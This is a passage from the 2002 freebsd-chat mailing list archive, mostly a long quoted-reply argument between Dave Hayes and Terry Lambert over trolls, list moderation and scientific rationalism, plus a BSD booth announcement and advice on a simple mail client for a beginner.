"Moo!". >> > It has nothing whatsoever to do with "orthogonalizing -all- aspects >> > of life". >> >> I observe that people who attempt solutions of this manner consistently >> tend to attempt life orthogonalization, most amusingly where life cannot >> be handled thus. > > That is a different topic, and it's irrelevent to the discussion > at hand. There's that hand waving again. ;) Hi to you too! *wave* >> > Nevertheless, I will continue to use such manners of investigation, >> > so long as they continue to yield highly accurate predictive >> > models. 8-). >> >> What if your observational equipment is filtered by a need to be >> correct? Then all your models will look correct to you, especially >> if you filter out the data that might contradict your findings. > > Predictive ability is the measure of correctness. It is > therefore empirically falsifiable. Only to make you look good by finding the right answer later. >> >> Statistical arguments are generally inconclusive. They are hard >> >> to accept unless you can guarantee a bunch of hard to guarantee >> >> things about the evidence. >> > >> > I disagree. Perhaps what you feel is hard and what I feel is >> > hard are two different things. >> >> Hmm, clearly I chose the wrong word. I'll put it this way: typical >> methods for gathering statistical data have a insufficiently large >> sample space and a woefully inadequate method of assuring random >> selection. Then there's the interference from attempting to observe >> the phenomena. > > Then use atypical methods, without this perceived flaw. Like? >> > By not making it "your own sandbox", you failed to put a border >> > between your society and Tim's. The result was predictable. >> >> I can assure you that my current border is overcompensatingly >> impenetrable. ;) > > This is exactly the behaviour you decry in others. Not exactly. I don't kick people out or ban trolls. I merely make sure the list is not perceivable by the general net.public. That has worked wonders. It's not what I want, but it's a start. >> >> Just look. -You- want to spend a lot of time and energy devising >> >> secure identified email or coming up with who knows what just so that >> >> the laziness of humanity can prevail over common sense. >> > >> > Hardly. I want common sense to prevail. But the trolls refuse >> > to exhibit it. >> >> If you (and others) would just exhibit it, it wouldn't matter whether >> they did. > > IYO. It's amazing to me that you believe you have The One True > Answer(tm), I don't. That is the only apparent way it will ultimately solve itself. I'm open to other ideas, but not those that involve any explicit moderation. > and to accept this bald-ass claim of yours without > any tangible evidence or even a prrof-of-concept implementation > which exhibits the properties you claim such a solution will have. I'll give you a hint: people who need this are exactly the kind of people who can't co-exist on mailing lists without driving them to moderation. >> >> Maybe so, but they sure lose a lot of distinction in the process. >> >> Also, however correct you are, the people -in- the society >> >> don't seem to agree with this. They tend to percieve them as one. >> > >> > That's why I keep suggesting that the "laws of physics" need to >> > be built into the the pathways, rather than externally imposed. >> > You keep arguing that internal imposition won't work. Fine. Take >> > that as a working hypothesis, and impose the rules externally >> > instead. >> >> Bah. I don't think any rules will "work". I don't have faith in >> purely scientific methods to come up with a solution. I think the >> only way out is to wait for people to grow up. > > Find a way of forcing that. I dare you. In fact, I double-dog > dare you. 8-). You can't force people to grow, except maybe in your mathematical world of game-theory...where people are punished for not adhering to the formula. In fact, forcing them to grow is contrary to "natural law". >> >> They got to ya then. ;) It would appear you are at least somewhat >> >> worried about the list being shut down by trolls. If that's true, >> >> they've managed to win the first round. >> > >> > Hardly. Their goal and their actual ability to achieve it are >> > very different things. >> >> But they have you worried, oh he who's reality is expressible as >> a mathematically consistent and well-defined space. ;) > > They do not have me worried. Then why spend so much energy debating and thinking about the problem? Surely you are not one to waste time? >> > It's OK. We'll lock them up and prevent their genes from >> > propagating. >> >> And then you'll discover they have a necessary component to a survival >> trait we need. > > Then we'll die out as a species, and the problem will still be > solved. 8-). No. =( An entirely new planet will have to be started. >> >> And your boss can fire you and assign another reporter, yes. >> > >> > Not really. I will be giving the boss what he wants: viewers; >> > how many people have actually *read* "The Unibomber Manifesto" >> > (or "The GNU Manifesto")? A circus doesn't have to have a plot. >> >> But it needs performers. You don't think I'd actually go so far >> as to do that and not have some act going at the same time? > > A good example is the lack of claimants for the events of > September 11th. Without someone claiming responsibility, > there is no chance of those responsible achieving their > goals as a result of the action. Those who did it are -dead-. Hello? If they were interviewable you can bet that reporters would be interviewing them. Sufficient, but not necessary. In the example I outlined, if you didn't interview me, someone else would. >> >> Starting with the obvious, Someone feels threatened by FreeBSD. >> > >> > I'll grant that. We got that the first time they posted. They've >> > posted more than once. What *new* information was present in each >> > subsequent posting, which was not present in previous postings? >> >> Why is this important? > > It speaks to motive. Again, without demands, there is no > redeeming value in socially disruptive actions. That just means they are trying to get people to meet demands that for some reason they don't want everyone to know about. >> >> >> Maybe this response is "Hey, friend..."? (Ok, so that's -my- utopia, >> >> >> not yours.) >> >> > >> >> > Hey, if it worked... but it wouldn't. >> >> >> >> It's worked for me in the past. I wouldn't call it reliable, but then >> >> again...to do this one you have to be impeccably appropriate. >> > >> > So it worked with Tim, did it? >> >> For a while it did, but his ego couldn't bear the interaction. > > So that's "No", right? 8-) 8-). No, that's a 'it worked initially but other factors interfered with the experiment, thus any clear observational result from a single cause was lost'. >> >> > Not long. You have filters, right? >> >> >> >> Yes. I still have trouble keeping up with it all. >> > >> > Yet you expect people not dedicated to your ideal to keep up, >> > even when you, a dedicated person, can not? >> >> I don't expect them to keep up even if trolls were wiped from the >> face of the plannet. "Keeping up" is a larger issue than trolls, >> so much larger that trolls (even a group of determined ones) are >> largely irrelevant to the big picture. > > Then let's subtract them from the picture, and concentrate on the > big issues. 8-). Why waste time on the irrelevant? =) >> > Hardly. Topicality is not arbitrary, even if choices about the >> > content of the charter are. >> >> Topicality is subjective and rarely well-defined enough not to have >> posts that are on the edge. > > It would be nice if you would prove that claim, so that it's > possible to agree with you. It's more fun to attempt to get you to agree by feel rather than by mind. ;) >> >> > Mailing lists are push model. They are not Usenet. Stop pretending >> >> > they are. >> >> >> >> The distinction is irrelevant in this case. Functionally, they are the >> >> same thing, just on different scales. >> > >> > Wrong. The distiction is critical. It defined the tipping point. >> >> Not for high traffic lists. Freebsd-hackers feels like a 1987ish >> usenet group. > > Your sense of nostalgia doesn't make it something it's not. I never said it did, and you are confusing transport with the perception of the fora again. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Reporter (n.) - 1. A cat waiting at a mousehole. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 1:38:39 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C3B7237B400 for ; Thu, 5 Sep 2002 01:38:36 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 02BDF43E65 for ; Thu, 5 Sep 2002 01:38:36 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g858cY190682; Thu, 5 Sep 2002 01:38:34 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050838.g858cY190682@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 01:38:29 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> >> > You're not held hostage to their choices. Feel free to subscribe >> >> > to other lists as well. >> >> >> >> So I can return to a hostage state? No thanks. >> > >> > I fail to see how this returns you to a hostage state >> >> That's because -you- are not -me-. > > No, it's because you won't defend your statements when they > appear to break down. They only break down because you are attacking them. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Counterfeiters exist because there is such a thing as real money. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 1:39: 2 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6EA8237B400 for ; Thu, 5 Sep 2002 01:38:59 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id C341943E65 for ; Thu, 5 Sep 2002 01:38:58 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g858cu190709; Thu, 5 Sep 2002 01:38:56 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050838.g858cu190709@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 01:38:51 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> >> I'll admit, to me this is all a dream. Controlled folly this all is. >> >> >> >> Getting Terry to admit that would be...difficult. ;) >> > >> > Very. IMO, everything is fraught with meaning. >> >> What is the meaning of all this meaning? ;) > > Data is not information. But what does that mean? ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< "Necessity is the plea of every infringement of human freedom. It is the argument of tyrants; it is the creed of slaves." -- William Pitt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 4: 2: 9 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3064237B400 for ; Thu, 5 Sep 2002 04:02:07 -0700 (PDT) Received: from milan.hitnet.rwth-aachen.de (milan.hitnet.RWTH-Aachen.DE [137.226.181.144]) by mx1.FreeBSD.org (Postfix) with ESMTP id CA0BB43E65 for ; Thu, 5 Sep 2002 04:02:06 -0700 (PDT) (envelope-from chris@milan.hitnet.rwth-aachen.de) Received: by milan.hitnet.rwth-aachen.de (Postfix, from userid 1001) id 58ABAABC9; Thu, 5 Sep 2002 13:02:05 +0200 (CEST) Date: Thu, 5 Sep 2002 13:02:05 +0200 From: Christian Brueffer To: freebsd-chat@freebsd.org Subject: Live webcam, BSD booth Linux-Kongress, Cologne Message-ID: <20020905110205.GA70214@unixpages.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hi, if anyone's interested, we are running a BSD booth at the Linux Kongress in Cologne, Germany at the moment. We have a webcam too, http://rfhs8012.fh-regensburg.de/~dan/bsdwebcam.html. I'll mail a short summary of the event to freebsd-advocacy next week. If anyone answeres to this, please CC me, as I'm not subscribed to the list. - Chris -- http://www.unixpages.org chris@unixpages.org GPG Pub-Key : www.unixpages.org/cbrueffer.asc GPG Fingerprint: 0DB5 8563 2473 C72A A8D1 56EA DAD2 B05D 5F3C 3185 GPG Key ID : DAD2B05D5F3C3185 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 4:11:35 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0D72137B400 for ; Thu, 5 Sep 2002 04:11:22 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0D17443E6A for ; Thu, 5 Sep 2002 04:11:21 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0024.cvx21-bradley.dialup.earthlink.net ([209.179.192.24] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17muXZ-00006l-00; Thu, 05 Sep 2002 04:11:13 -0700 Message-ID: <3D773B95.9DBC935A@mindspring.com> Date: Thu, 05 Sep 2002 04:10:13 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209050838.g858c3190658@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > The environment is an actor, in this case. > > Never is the environment an actor. I dare you to live in a mobile home in "Tornado Alley". 8-). > Of course not, for you believe it to work and it does...for you. > It's impossible for strict rationalists to see that as they are > "convinced" of something, it becomes real to them. They think they > are perceiving the "true reality", when all they are doing is making > their reality agree with how they are convinced it works. I think you are projecting your own faith. > >> The charter is an attempt to classify posts. I claim posts defy > >> classification except for trivial cases. > > > > I claim that posts which defy classification are outside the > > charter, unless they are explicitly included within it. 8-). > > I claim that posts which defy classification are INside the > charter, unless they are explicitly EXcluded from it. =P I hereby exclude all posts which defy classification. 8-). > > On the other hand, you are not offering a definitive solution to > > the problem, which is less prone to abuse, and which does not > > transfer the onus of extra work onto the reader. > > Even if I offered one, you would not let it be one. It's not a matter of will. It's a matter of mechanics. Either the system functions as designed, or it's not a correct system. > > This is an onus which you, yourself, admitted that even avowed > > fanatics (like yourself ;^)) have a very hard time implementing > > effectively. It's an unworkable "solution". > > But it doesn't bug me like it bugs you. It's not a problem to me, > until it results in moderation, which is a problem in itself. But we aren't talking about just you. We have to include your friend Tim, and people like them (if we are picking teams, and you pick "trolls" for your side, that leaves me with the last guy tanding as a defacto pick). > >> Yet I don't worship that religion. ;) > > > > It's still not a religion, > > Yes it is. If *you* treat it as such, then maybe it is, *for you*. > > and repeating endlessly the accusation will not make it one. > > True, yet berating the accusation as an endless repetition will not > make it -not- one. Barring evidence to the contrary, the simplest explanation is the correct one. > >> What standards of "valid" are you using here? > > > > One which allows the problem space to be commutatively transformed > > into a representation, with no loss of information. > > You lose information in every representation you make about humanity. No, you don't. > >> More to the point, you are unwilling to -consider- the idea and > >> investigate it futher. You merely dismiss it with a wave of your > >> "invalid" hand. This is not unlike the scientists I have been > >> around. > > > > Hardly. This issue was covered in great detail during my analytical > > mechanics course's section on accoustics, and again, in a class on > > information theory. The Lorentz transformation was covered in gory > > detail in my modern physics course. > > You've verified each and every one of these "issues", that you > do not have false data? I've verified certain of them; the key ones that I could not accept without my own observation. > > It is really only proper to analogize when the mathematical > > representations of the situations in question, when stripped > > of their units, end up with the same mathematical descriptions. > > I claim this is just fancy justifia for your not being willing to > consider something that contradicts your tenets of reality. Hence, > as I see it, you aren't really a critical thinker. I have absolutely no problem considering evidence that contradicts my tenets of reality. IF you present some, I will consider it. > It's this kind of out-of-hand dismissing which is why I consider > science a religion, and why I think I'm hangin with the right peeps. I'm not dismissing it out of hand; I am dismissing it after grave consideration. That you don't like the outcome doesn't belittle the effort. > >> Assume there must be a good reason someone denied read privleges > >> and exit with an error message to that effect. =) > > > > I haven't given enough information about the problem space for > > you to conclude that that's the correct answer. That's *an* > > answer, but it's not necessarily *the* answer. > > There is no "the" answer. The assumption that a "the" answer must > exist and conform to some arbitrary standard is what makes a religion. Yes, there is. There's the specification. The program conforms to the specification, or it does not. It's a nice binary line. > I use quotes to refrain from getting into "semantical" arguments about > what something really "meant", particularly with people that "presume" > there is only one "meaning" to every word or phrase. ;) Use agreed upon meanings, and you won't have this problem. > > Why not, when human interactions can be repsented by the > > mathematics of game theory? > > Why do I keep thinking I am reading Asimov when I am talking to you? Because your exposure to the ideas I'm putting forth is limited to having encountered them in his fiction? > It's not worth it. I'll just have to wait until some aspect of the > real world that you can't model comes up and smacks you over the head. Don't hold your breath. 8-). > >> I observe that people who attempt solutions of this manner consistently > >> tend to attempt life orthogonalization, most amusingly where life cannot > >> be handled thus. > > > > That is a different topic, and it's irrelevent to the discussion > > at hand. > > There's that hand waving again. ;) Hi to you too! *wave* You "observe that people who attempt solutions of this manner consistently tend to attempt life orthogonalization". Please provide the raw data, so that everyone else in the class can make the same observations, or come up with their own observations. Alternately, please provie proof by induction. Thanks. > >> What if your observational equipment is filtered by a need to be > >> correct? Then all your models will look correct to you, especially > >> if you filter out the data that might contradict your findings. > > > > Predictive ability is the measure of correctness. It is > > therefore empirically falsifiable. > > Only to make you look good by finding the right answer later. The goal is a correct answer, not to venerate "Dave Hayes, Good Guesser". 8-). > >> Hmm, clearly I chose the wrong word. I'll put it this way: typical > >> methods for gathering statistical data have a insufficiently large > >> sample space and a woefully inadequate method of assuring random > >> selection. Then there's the interference from attempting to observe > >> the phenomena. > > > > Then use atypical methods, without this perceived flaw. > > Like? OK, whatever methods you are using? Not them. > >> > By not making it "your own sandbox", you failed to put a border > >> > between your society and Tim's. The result was predictable. > >> > >> I can assure you that my current border is overcompensatingly > >> impenetrable. ;) > > > > This is exactly the behaviour you decry in others. > > Not exactly. I don't kick people out or ban trolls. I merely make sure > the list is not perceivable by the general net.public. That has worked > wonders. It's not what I want, but it's a start. Who's talking about banning? I'm only talking about building an "impenetrable border" between them and the rest of us. > >> If you (and others) would just exhibit it, it wouldn't matter whether > >> they did. > > > > IYO. It's amazing to me that you believe you have The One True > > Answer(tm), > > I don't. That is the only apparent way it will ultimately solve > itself. I'm open to other ideas, but not those that involve any > explicit moderation. How about killing all trolls? That would work. Eventually, people would be afraid to troll. > > and to accept this bald-ass claim of yours without > > any tangible evidence or even a prrof-of-concept implementation > > which exhibits the properties you claim such a solution will have. > > I'll give you a hint: people who need this are exactly the kind of > people who can't co-exist on mailing lists without driving them > to moderation. Prove it. > >> Bah. I don't think any rules will "work". I don't have faith in > >> purely scientific methods to come up with a solution. I think the > >> only way out is to wait for people to grow up. > > > > Find a way of forcing that. I dare you. In fact, I double-dog > > dare you. 8-). > > You can't force people to grow, except maybe in your mathematical > world of game-theory...where people are punished for not adhering > to the formula. In fact, forcing them to grow is contrary to "natural > law". Well, then, there you go... you've created a Gordian knot, a paradox which can never be resolved, and therefore we can do any damn thing we want, and it won't make one bit of difference, either way, so there's treally no rational reason to oppose any particular action, such as the banning of trolls. > > They do not have me worried. > > Then why spend so much energy debating and thinking about the problem? > Surely you are not one to waste time? I've thought about the troll problem. I have an ultimate solution, which will work. It has unpleasent long term consequences, but ideal short term consequences. I'm debating in order to offer you an opportunity to convince me that the short term consequences are not what I project them to be, and to offer alternative strategies, which you have, so far, failed to offer. > > Then we'll die out as a species, and the problem will still be > > solved. 8-). > > No. =( An entirely new planet will have to be started. Have at it... > >> But it needs performers. You don't think I'd actually go so far > >> as to do that and not have some act going at the same time? > > > > A good example is the lack of claimants for the events of > > September 11th. Without someone claiming responsibility, > > there is no chance of those responsible achieving their > > goals as a result of the action. > > Those who did it are -dead-. Hello? If they were interviewable > you can bet that reporters would be interviewing them. Sufficient, > but not necessary. In the example I outlined, if you didn't interview > me, someone else would. No, they aren't. The instruments are dead, but the hands that wielded them are very much alive. > >> Why is this important? > > > > It speaks to motive. Again, without demands, there is no > > redeeming value in socially disruptive actions. > > That just means they are trying to get people to meet demands that for > some reason they don't want everyone to know about. Well, that'll certainly work, won't it? "We demand that ... " > >> > So it worked with Tim, did it? > >> > >> For a while it did, but his ego couldn't bear the interaction. > > > > So that's "No", right? 8-) 8-). > > No, that's a 'it worked initially but other factors interfered with > the experiment, thus any clear observational result from a single > cause was lost'. Clearly, you need to control the number of variables in your experiments in the future, such that they do not exceed the number of equations in the system. > > Then let's subtract them from the picture, and concentrate on the > > big issues. 8-). > > Why waste time on the irrelevant? =) So we are agreed. We'll subtract them. > >> Topicality is subjective and rarely well-defined enough not to have > >> posts that are on the edge. > > > > It would be nice if you would prove that claim, so that it's > > possible to agree with you. > > It's more fun to attempt to get you to agree by feel rather than by > mind. ;) It's not going to happen, particularly when I have data that contradicts you. > > Your sense of nostalgia doesn't make it something it's not. > > I never said it did, and you are confusing transport with the > perception of the fora again. Perception is irrelevant. Gravity does not, contrary to the Roadrunner cartoons, only effect people who look down and notice they are standing in mid-air. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 4:12:23 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 66F2937B430 for ; Thu, 5 Sep 2002 04:12:21 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0A14F43E65 for ; Thu, 5 Sep 2002 04:12:21 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0024.cvx21-bradley.dialup.earthlink.net ([209.179.192.24] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17muYd-0000s4-00; Thu, 05 Sep 2002 04:12:19 -0700 Message-ID: <3D773BD7.943D73D1@mindspring.com> Date: Thu, 05 Sep 2002 04:11:19 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209050838.g858cY190682@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > No, it's because you won't defend your statements when they > > appear to break down. > > They only break down because you are attacking them. Regardless of the reason, they are broken down. The cause is not germane to the observation that they are broken down. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 4:13:26 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8B38D37B400 for ; Thu, 5 Sep 2002 04:13:24 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4D30B43E6A for ; Thu, 5 Sep 2002 04:13:24 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0024.cvx21-bradley.dialup.earthlink.net ([209.179.192.24] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17muZe-0001c7-00; Thu, 05 Sep 2002 04:13:23 -0700 Message-ID: <3D773C16.DBA4AA31@mindspring.com> Date: Thu, 05 Sep 2002 04:12:22 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209050838.g858cu190709@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > Data is not information. > > But what does that mean? Get a book on signal processing, turn to the glossary, and look up the word "intelligence", in the context of signal processing. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 8: 0:21 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7C8FC37B400 for ; Thu, 5 Sep 2002 08:00:17 -0700 (PDT) Received: from minix.nailed.org (syr-24-59-50-41.twcny.rr.com [24.59.50.41]) by mx1.FreeBSD.org (Postfix) with ESMTP id E48AF43E65 for ; Thu, 5 Sep 2002 08:00:16 -0700 (PDT) (envelope-from jontow@minix.nailed.org) Received: by minix.nailed.org (Postfix, from userid 1000) id 5F365760B; Thu, 5 Sep 2002 11:00:17 -0400 (EDT) Date: Thu, 5 Sep 2002 11:00:17 -0400 From: Jonathan Towne To: Philip Paeps Cc: freebsd-chat@freebsd.org Subject: Re: What mail client for a computer newbie? Message-ID: <20020905110017.C34559@bd.local> References: <3D617400.1294.5D259729@localhost> <20020820151247.GP22500@juno.paeps.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20020820151247.GP22500@juno.paeps.cx>; from philip@paeps.cx on Tue, Aug 20, 2002 at 05:12:47PM +0200 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, Aug 20, 2002 at 05:12:47PM +0200, Philip Paeps scribbled: # On 2002-08-20 04:42:43, Dan Langille wrote: # > What mail client would you recommend for my mother? # # My mother's been using Evolution for a while, and I haven't heard any # complaints, and she appears to be communicating happily with the rest of the # world. Same deal here, my mother has been using Evolution for probably a little under a year with no complaints; I think its even a slightly older version.. # > To be fair, she's been using pine under FreeBSD for about a year now. Now # > that she's about to get a new computer, it's time to upgrade to a GUI (we're # > going with KDE). Indeed, if she's taken to the console, don't lead her astray.. its a bit more to-the-point than a lot of graphical muck.. # > She has the concepts of email now. But I want a simple interface. Try to # > think of this from a computer newbie point of view, not an X or FreeBSD # > point of view. # # I fear that KDE might be a bit too complex. All these funny bells and # whistles all over the shop. Might it not be better to install a 'light' # window manager instead? I doubt she'll be needing all the 'advanced' features # of KDE. Just a way to start the mailclient, the wordprocessor, the # spreadsheet, etc. KDE is a monster. I've had it running on her machine (a celeron 300 with 96meg of RAM), along with various forms of GNOME; all were 'pretty' .. but big, fat, and tended to cause a lot of disk thrashing. Now, she's using a nicely customized copy of fvwm2, with a bunch of nice keybindings (alt+F# etc) to switch between workspaces, a pager at the bottom so she can see whats going on, and an auto-hidden taskbar to keep things remnant of earlier days :) Hope you and your mother get things setup the way you hope for, its an interesting adventure.. and requires a lot less hardware than win* ;) -Jonathan Towne PS. anyone who wants the $HOME/.fvwm/ directory that I use on many machines; (including the .fvwm2rc and menu template), just send me a quick note and I'll see what I can do.. lots of email to catch up on though, so it could take a day or two. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 8: 3: 3 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 96B9A37B400 for ; Thu, 5 Sep 2002 08:03:01 -0700 (PDT) Received: from bast.unixathome.org (bast.unixathome.org [216.187.105.150]) by mx1.FreeBSD.org (Postfix) with ESMTP id ED0FB43E4A for ; Thu, 5 Sep 2002 08:03:00 -0700 (PDT) (envelope-from dan@langille.org) Received: from wocker (wocker.unixathome.org [192.168.0.99]) by bast.unixathome.org (Postfix) with ESMTP id C76DB3F28; Thu, 5 Sep 2002 11:02:58 -0400 (EDT) From: "Dan Langille" To: Jonathan Towne Date: Thu, 05 Sep 2002 11:03:09 -0400 MIME-Version: 1.0 Subject: Re: What mail client for a computer newbie? Cc: freebsd-chat@freebsd.org Message-ID: <3D7739ED.31624.CA323AF@localhost> In-reply-to: <20020905110017.C34559@bd.local> References: <20020820151247.GP22500@juno.paeps.cx>; from philip@paeps.cx on Tue, Aug 20, 2002 at 05:12:47PM +0200 X-mailer: Pegasus Mail for Windows (v4.02) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On 5 Sep 2002 at 11:00, Jonathan Towne wrote: > # > To be fair, she's been using pine under FreeBSD for about a year > # > now. Now that she's about to get a new computer, it's time to > # > upgrade to a GUI (we're going with KDE). > > Indeed, if she's taken to the console, don't lead her astray.. its a > bit more to-the-point than a lot of graphical muck.. She still has trouble with the console. Pine isn't really an easy app to learn. -- Dan Langille I'm looking for a computer job: http://www.freebsddiary.org/dan_langille.php To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 9: 5:49 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CED837B400 for ; Thu, 5 Sep 2002 09:05:42 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3F3DE43E4A for ; Thu, 5 Sep 2002 09:05:41 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from 